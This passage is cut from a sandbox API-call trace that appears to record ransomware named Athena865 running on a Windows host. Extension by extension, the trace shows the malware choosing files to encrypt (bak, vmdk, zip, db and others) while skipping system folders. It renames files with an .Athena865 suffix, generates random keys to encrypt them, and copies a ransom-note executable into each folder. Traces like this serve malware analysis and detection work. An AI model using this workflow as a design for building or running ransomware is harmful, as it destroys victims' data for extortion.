(lpString="dbs") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0120.030] lstrlenW (lpString="dbt") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0120.030] lstrlenW (lpString="dbv") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0120.030] lstrlenW (lpString="dbx") returned 3 [0120.031] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0120.031] lstrlenW (lpString="dcb") returned 3 [0120.031] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0120.031] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.Athena865") returned 84 [0120.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0120.033] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0120.033] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3214) returned 1 [0120.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0120.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.033] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.034] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.034] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.034] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf90, lpName=0x0) returned 0x17c [0120.035] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf90) returned 0x100000 [0120.036] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.037] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.037] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0120.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0120.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.038] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.038] CloseHandle (hObject=0x17c) returned 1 [0120.038] CloseHandle (hObject=0x154) returned 1 [0120.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0120.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.038] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0120.038] lstrcmpiW (lpString1="Shatter", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.038] lstrcmpiW (lpString1="Shatter", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.038] lstrcmpiW (lpString1="Shatter", lpString2=".") returned 1 [0120.038] lstrcmpiW (lpString1="Shatter", lpString2="..") returned 1 [0120.038] lstrcmpiW (lpString1="Shatter", lpString2="windows") returned -1 [0120.038] lstrcmpiW (lpString1="Shatter", lpString2="bootmgr") returned 1 [0120.038] lstrcmpiW (lpString1="Shatter", lpString2="temp") returned -1 [0120.039] lstrcmpiW (lpString1="Shatter", lpString2="pagefile.sys") returned 1 [0120.039] lstrcmpiW (lpString1="Shatter", lpString2="boot") returned 1 [0120.039] lstrcmpiW (lpString1="Shatter", lpString2="ids.txt") returned 1 [0120.039] lstrcmpiW (lpString1="Shatter", lpString2="ntuser.dat") returned 1 [0120.039] lstrcmpiW (lpString1="Shatter", lpString2="perflogs") returned 1 [0120.039] lstrcmpiW (lpString1="Shatter", lpString2="MSBuild") returned 1 [0120.039] lstrlenW (lpString="Shatter") returned 7 [0120.039] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Shatter" | out: lpString1="Shatter") returned="Shatter" [0120.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5521d0 [0120.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e270 [0120.039] lstrcatW (in: lpString1="Shatter", lpString2="\\" | out: lpString1="Shatter\\") returned="Shatter\\" [0120.039] lstrcatW (in: lpString1="Shatter\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Shatter\\HOW TO BACK YOUR FILES.exe") returned="Shatter\\HOW TO BACK YOUR FILES.exe" [0120.039] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.042] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2=".") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="..") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="windows") returned -1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="bootmgr") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="temp") returned -1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="pagefile.sys") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="boot") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="ids.txt") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="ntuser.dat") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="perflogs") returned 1 [0120.043] lstrcmpiW (lpString1="SpecialOccasion", lpString2="MSBuild") returned 1 [0120.043] lstrlenW (lpString="SpecialOccasion") returned 15 [0120.043] lstrcpyW (in: lpString1=0x241e8a0, lpString2="SpecialOccasion" | out: lpString1="SpecialOccasion") returned="SpecialOccasion" [0120.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5521e8 [0120.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53c620 [0120.043] lstrcatW (in: lpString1="SpecialOccasion", lpString2="\\" | out: lpString1="SpecialOccasion\\") returned="SpecialOccasion\\" [0120.043] lstrcatW (in: lpString1="SpecialOccasion\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SpecialOccasion\\HOW TO BACK YOUR FILES.exe") returned="SpecialOccasion\\HOW TO BACK YOUR FILES.exe" [0120.043] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.048] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2=".") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="..") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="windows") returned -1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="bootmgr") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="temp") returned -1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="pagefile.sys") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="boot") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="ids.txt") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="ntuser.dat") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="perflogs") returned 1 [0120.048] lstrcmpiW (lpString1="Sports", lpString2="MSBuild") returned 1 [0120.048] lstrlenW (lpString="Sports") returned 6 [0120.048] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Sports" | out: lpString1="Sports") returned="Sports" [0120.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552200 [0120.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52e2e0 [0120.049] lstrcatW (in: lpString1="Sports", lpString2="\\" | out: lpString1="Sports\\") returned="Sports\\" [0120.049] lstrcatW (in: lpString1="Sports\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sports\\HOW TO BACK YOUR FILES.exe") returned="Sports\\HOW TO BACK YOUR FILES.exe" [0120.049] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.052] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2=".") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="..") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="windows") returned -1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="bootmgr") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="temp") returned -1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="pagefile.sys") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="boot") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="ids.txt") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="ntuser.dat") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="perflogs") returned 1 [0120.052] lstrcmpiW (lpString1="Stacking", lpString2="MSBuild") returned 1 [0120.053] lstrlenW (lpString="Stacking") returned 8 [0120.053] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Stacking" | out: lpString1="Stacking") returned="Stacking" [0120.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552218 [0120.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x538d98 [0120.053] lstrcatW (in: lpString1="Stacking", lpString2="\\" | out: lpString1="Stacking\\") returned="Stacking\\" [0120.053] lstrcatW (in: lpString1="Stacking\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Stacking\\HOW TO BACK YOUR FILES.exe") returned="Stacking\\HOW TO BACK YOUR FILES.exe" [0120.053] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.057] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2=".") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="..") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="windows") returned -1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="bootmgr") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="temp") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="pagefile.sys") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="boot") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="ids.txt") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="ntuser.dat") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="perflogs") returned 1 [0120.057] lstrcmpiW (lpString1="Travel", lpString2="MSBuild") returned 1 [0120.057] lstrlenW (lpString="Travel") returned 6 [0120.057] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Travel" | out: lpString1="Travel") returned="Travel" [0120.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552230 [0120.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52ecf0 [0120.057] lstrcatW (in: lpString1="Travel", lpString2="\\" | out: lpString1="Travel\\") returned="Travel\\" [0120.057] lstrcatW (in: lpString1="Travel\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Travel\\HOW TO BACK YOUR FILES.exe") returned="Travel\\HOW TO BACK YOUR FILES.exe" [0120.057] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.061] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2=".") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="..") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="windows") returned -1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="bootmgr") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="temp") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="pagefile.sys") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="boot") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="ids.txt") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="ntuser.dat") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="perflogs") returned 1 [0120.061] lstrcmpiW (lpString1="VideoWall", lpString2="MSBuild") returned 1 [0120.061] lstrlenW (lpString="VideoWall") returned 9 [0120.061] lstrcpyW (in: lpString1=0x241e8a0, lpString2="VideoWall" | out: lpString1="VideoWall") returned="VideoWall" [0120.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552248 [0120.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x538d20 [0120.062] lstrcatW (in: lpString1="VideoWall", lpString2="\\" | out: lpString1="VideoWall\\") returned="VideoWall\\" [0120.062] lstrcatW (in: lpString1="VideoWall\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VideoWall\\HOW TO BACK YOUR FILES.exe") returned="VideoWall\\HOW TO BACK YOUR FILES.exe" [0120.062] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.064] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2=".") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="..") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="windows") returned -1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="bootmgr") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="temp") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="pagefile.sys") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="boot") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="ids.txt") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="ntuser.dat") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="perflogs") returned 1 [0120.064] lstrcmpiW (lpString1="Vignette", lpString2="MSBuild") returned 1 [0120.064] lstrlenW (lpString="Vignette") returned 8 [0120.064] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Vignette" | out: lpString1="Vignette") returned="Vignette" [0120.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552260 [0120.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x540cd0 [0120.064] lstrcatW (in: lpString1="Vignette", lpString2="\\" | out: lpString1="Vignette\\") returned="Vignette\\" [0120.064] lstrcatW (in: lpString1="Vignette\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Vignette\\HOW TO BACK YOUR FILES.exe") returned="Vignette\\HOW TO BACK YOUR FILES.exe" [0120.064] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.068] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".") returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="..") returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="windows") returned -1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="bootmgr") returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="temp") returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="pagefile.sys") returned 1 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2="boot") returned 1 [0120.068] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WhiteDot.png" | out: lpString1="WhiteDot.png") returned="WhiteDot.png" [0120.068] lstrlenW (lpString="WhiteDot.png") returned 12 [0120.068] lstrlenW (lpString="Athena865") returned 9 [0120.068] lstrcmpiW (lpString1="teDot.png", lpString2="Athena865") returned 1 [0120.068] lstrlenW (lpString=".dll") returned 4 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".dll") returned 1 [0120.068] lstrlenW (lpString=".lnk") returned 4 [0120.068] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".lnk") returned 1 [0120.068] lstrlenW (lpString=".ini") returned 4 [0120.069] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".ini") returned 1 [0120.069] lstrlenW (lpString=".sys") returned 4 [0120.069] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".sys") returned 1 [0120.069] lstrlenW (lpString="WhiteDot.png") returned 12 [0120.069] lstrlenW (lpString="bak") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0120.069] lstrlenW (lpString="ba_") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0120.069] lstrlenW (lpString="dbb") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0120.069] lstrlenW (lpString="vmdk") returned 4 [0120.069] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0120.069] lstrlenW (lpString="rar") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0120.069] lstrlenW (lpString="zip") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0120.069] lstrlenW (lpString="tgz") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0120.069] lstrlenW (lpString="vbox") returned 4 [0120.069] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0120.069] lstrlenW (lpString="vdi") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0120.069] lstrlenW (lpString="vhd") returned 3 [0120.069] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0120.069] lstrlenW (lpString="vhdx") returned 4 [0120.069] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0120.069] lstrlenW (lpString="avhd") returned 4 [0120.069] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0120.069] lstrlenW (lpString="db") returned 2 [0120.069] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0120.070] lstrlenW (lpString="db2") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0120.070] lstrlenW (lpString="db3") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0120.070] lstrlenW (lpString="dbf") returned 3 [0120.070] lstrcmpiW 